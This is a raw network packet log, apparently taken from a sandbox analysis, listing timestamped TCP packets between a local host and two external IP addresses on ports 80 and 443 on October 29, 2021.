Oct 29, 2021 14:10:02.081069946 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081090927 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081131935 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081150055 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081168890 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081207037 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081229925 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081245899 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081281900 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081327915 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081338882 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081393957 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081520081 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081561089 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081603050 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081621885 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081641912 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081679106 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081696033 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081718922 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081757069 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081775904 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081794024 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081832886 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081850052 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081872940 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081912041 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081926107 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081950903 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081988096 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082005978 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082026958 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082065105 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082083941 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082102060 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082139969 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082158089 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082176924 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082216024 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082231045 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082253933 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082290888 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082307100 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082329988 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082367897 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082382917 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082403898 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082442045 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082456112 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082479000 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082518101 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082544088 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082556963 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082596064 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082633972 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082655907 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082672119 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082695961 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082709074 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082747936 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082784891 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082823038 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082849979 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082861900 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082897902 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082912922 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.082936049 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082973957 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.082997084 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083009958 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083048105 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083061934 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083086014 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083123922 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083141088 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083163977 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083200932 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083221912 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083239079 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083276987 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083292961 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083313942 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083352089 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083364964 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083389044 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083427906 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083442926 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083466053 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083503008 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083523035 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083540916 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083585978 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083606958 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083622932 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083662033 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083679914 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083699942 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083738089 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083756924 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083822012 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083861113 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083884954 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083899975 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083937883 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.083956957 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.083975077 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084012985 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084027052 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084050894 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084089041 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084105015 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084172964 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084212065 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084255934 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084275007 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084294081 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084331989 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084352016 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084371090 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084403038 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084408998 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084449053 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084480047 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084485054 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084522963 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084546089 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084561110 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084599018 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084636927 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084673882 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084683895 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084697008 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084757090 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084799051 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084810972 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084839106 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084901094 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084901094 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.084939003 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084978104 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.084988117 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.085015059 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085052967 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085064888 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.085092068 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085129976 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085140944 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.085167885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085206032 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085220098 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.085243940 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085282087 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085294008 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.085320950 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.085367918 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.152874947 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.152935028 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.152975082 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153013945 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153053045 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153059006 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153091908 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153117895 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153120995 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153153896 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153157949 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153198957 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153225899 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153234005 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153274059 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153311968 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153350115 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153373957 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153389931 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153426886 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153459072 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153471947 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153537989 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153594017 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153634071 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153672934 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153702021 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153742075 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153779984 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153801918 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153817892 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153853893 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153856993 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153894901 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153932095 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.153948069 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.153970003 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154006958 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154020071 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154046059 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154083967 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154110909 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154123068 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154136896 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154161930 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154198885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154226065 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154236078 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154274940 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154289007 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154310942 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154349089 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154366970 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154390097 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154428005 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154438019 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154468060 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154505014 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154529095 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154544115 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154584885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154622078 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154659986 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154673100 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154697895 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154699087 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154736996 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154750109 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154776096 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154812098 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154825926 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154850006 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154889107 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154925108 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.154927969 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.154964924 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.155004025 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.155004025 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.155042887 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.155059099 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.155082941 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.155112982 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.155150890 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.155179024 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.155313969 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.223743916 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.581229925 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.653058052 CEST	80	49803	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.654145956 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.654294014 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.656537056 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.722718954 CEST	80	49803	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.724797010 CEST	80	49803	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.802632093 CEST	80	49803	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.802726984 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.802923918 CEST	49803	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.830152035 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.871359110 CEST	80	49803	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.901000023 CEST	80	49804	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.901601076 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.902750015 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.902770996 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:03.973896027 CEST	80	49804	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:03.973949909 CEST	80	49804	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.051289082 CEST	80	49804	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.051423073 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.051500082 CEST	49804	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.122504950 CEST	80	49804	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.355552912 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.425106049 CEST	80	49805	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.425225973 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.425399065 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.425522089 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.496566057 CEST	80	49805	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.497189999 CEST	80	49805	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.577044010 CEST	80	49805	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.581032991 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.726238012 CEST	49805	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.758707047 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.794874907 CEST	80	49805	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.830780983 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.830908060 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.831001043 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.831016064 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.903443098 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.986990929 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987049103 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987088919 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987128019 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987154961 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.987165928 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987211943 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987227917 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.987250090 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987267971 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.987289906 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987329006 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987341881 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:04.987365961 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:04.987416029 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:05.059290886 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059353113 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059392929 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059432030 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059436083 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:05.059472084 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059511900 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059529066 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:05.059551001 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:05.059623957 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:05.059858084 CEST	49806	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:05.132697105 CEST	80	49806	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:07.138294935 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.138362885 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:07.138463974 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.228127003 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.228185892 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:07.282866001 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:07.282967091 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.286279917 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.286298037 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:07.286528111 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:07.400806904 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.911355019 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:07.950495005 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:07.952896118 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012068033 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012223959 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012301922 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012381077 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012442112 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.012449026 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012485981 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012512922 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.012587070 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012641907 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.012660980 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.012737989 CEST	443	49807	162.159.134.233	192.168.2.3
